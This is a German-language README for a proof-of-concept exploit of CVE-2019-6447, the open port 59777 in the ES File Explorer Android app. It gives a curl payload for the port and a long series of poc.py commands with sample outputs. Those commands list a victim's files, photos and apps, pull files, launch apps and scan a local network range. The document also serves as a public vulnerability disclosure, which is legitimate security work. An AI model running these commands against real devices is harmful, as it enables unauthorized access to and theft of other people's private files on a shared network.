ES File Explorer Open-Port-Schwachstelle - CVE-2019-6447

Gemäß ihrer Beschreibung bei Google Play:

ES File Explorer (Dateimanager) ist ein voll ausgestatteter Dateimanager (Bilder, Musik, Filme, Dokumente, Apps) für die lokale und Netzwerknutzung! Mit über 500 Millionen Nutzern weltweit hilft ES File Explorer (Dateimanager) dabei, dein Android-Telefon und deine Dateien effizient und effektiv zu verwalten und Dateien ohne Datenkosten zu teilen.

Jedes Mal, wenn ein Benutzer die App startet, wird ein HTTP-Server gestartet. Dieser Server öffnet lokal den Port 59777:

angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

Auf diesem Port kann ein Angreifer eine JSON-Nutzlast an das Ziel senden:

curl --header "Content-Type: application/json" --request POST --data '{"command":"[my_awesome_cmd]"}' http://192.168.0.8:59777

Diese Befehle erlauben einem Angreifer, der mit demselben lokalen Netzwerk wie das Opfer verbunden ist, eine Menge interessanter Informationen (Geräteinformationen, installierte Apps, ...) über das Telefon des Opfers zu erhalten, remote eine Datei vom Telefon des Opfers zu holen und remote eine App auf dem Telefon des Opfers zu starten.

Betroffene Versionen

4.1.9.7.4 und darunter

POC-Funktionen

Mit dem folgenden Proof of Concept (POC) kannst du:

Alle Dateien auf der SD-Karte des Opfergeräts auflisten
Alle Bilder auf dem Opfergerät auflisten
Alle Videos auf dem Opfergerät auflisten
Alle Audiodateien auf dem Opfergerät auflisten
Alle auf dem Opfergerät installierten Apps auflisten
Alle auf dem Opfergerät installierten System-Apps auflisten
Alle auf dem Opfergerät installierten Telefon-Apps auflisten
Alle auf der SD-Karte des Opfergeräts gespeicherten APK-Dateien auflisten
Alle auf dem Opfergerät installierten Apps auflisten
Geräteinformationen des Opfergeräts abrufen
Eine Datei vom Opfergerät holen
Eine App deiner Wahl starten
Das Symbol einer App deiner Wahl abrufen

Demo

Anleitung

$ python poc.py -g /sdcard/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg

$ python poc.py --cmd appPull --pkg com.tencent.mm

$ python poc.py --cmd getAppThumbnail --pkg com.tencent.mm

$ python poc.py --cmd appLaunch --pkg com.tencent.mm
{"result":"0"}

$ python poc.py --cmd getDeviceInfo
{"name":"Nexus 6P", "ftpRoot":"/sdcard", "ftpPort":"3721"}

$ python poc.py --cmd listAppsAll
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"},
{"packageName":"com.android.cts.priv.ctsshim", "label":"com.android.cts.priv.ctsshim", "version":"8.1.0-4396705", "versionCode":"27", "location":"/system/priv-app/CtsShimPrivPrebuilt/CtsShimPrivPrebuilt.apk", "size":"22744", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listAppsPhone
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listAppsSystem
{"packageName":"com.google.android.carriersetup", "label":"Carrier Setup", "version":"8.1.0", "versionCode":"27", "location":"/system/priv-app/CarrierSetup/CarrierSetup.apk", "size":"2462870", "status":"null", "mTime":"1230796800000"}

$ python poc.py --cmd listApps
{"packageName":"com.google.android.youtube", "label":"YouTube", "version":"13.50.52", "versionCode":"1350523400", "location":"/data/app/com.google.android.youtube-hg9X1FaylPbUXO1SaiFtkg==/base.apk", "size":"36860368", "status":"com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent", "mTime":"1545337705957"}

$ python poc.py --cmd listAppsSdcard

$ python poc.py --cmd listAudios
{"name":"hangouts_incoming_call.ogg", "time":"10/17/18 11:33:16 PM", "location":"/storage/emulated/0/Android/media/com.google.android.talk/Ringtones/hangouts_incoming_call.ogg", "duration":5000, "size":"74.63 KB (76,425 Bytes)", }

$ python poc.py --cmd listPics
{"name":"mmexport1546422097497.jpg", "time":"1/2/19 10:41:37 AM", "location":"/storage/emulated/0/tencent/MicroMsg/WeChat/mmexport1546422097497.jpg", "size":"38.80 KB (39,734 Bytes)", }

$ python poc.py --cmd listVideos

$ python poc.py --cmd listFiles

$ python poc.py --cmd listFiles --network 192.168.1.

$ python poc.py --cmd listFiles --ip 192.168.4.17

$ python poc.py list

######################
# Available Commands #
######################

listFiles: List all the files
listPics: List all the pictures
listVideos: List all the videos
listAudios: List all the audio files
listApps: List all the apps installed
listAppsSystem: List all the system apps
listAppsPhone: List all the phone apps
listAppsSdcard: List all the apk files in the sdcard
listAppsAll: List all the apps installed (system apps included)
getDeviceInfo: Get device info
appPull: Pull an app from the device. Package name parameter is needed
appLaunch: Launch an app. Package name parameter is needed
getAppThumbnail: Get the icon of an app. Package name parameter is needed

Kontakt

Folge mir auf Twitter! Einen kleinen Teil meiner Arbeit findest du auch unter https://fs0c131y.com

Danksagungen

Nach einem Tipp von @moonbocal wurden die Untersuchung und der POC mit ❤️ von @fs0c131y erstellt.

Beliebteste

ESFileExplorerOpenPortVuln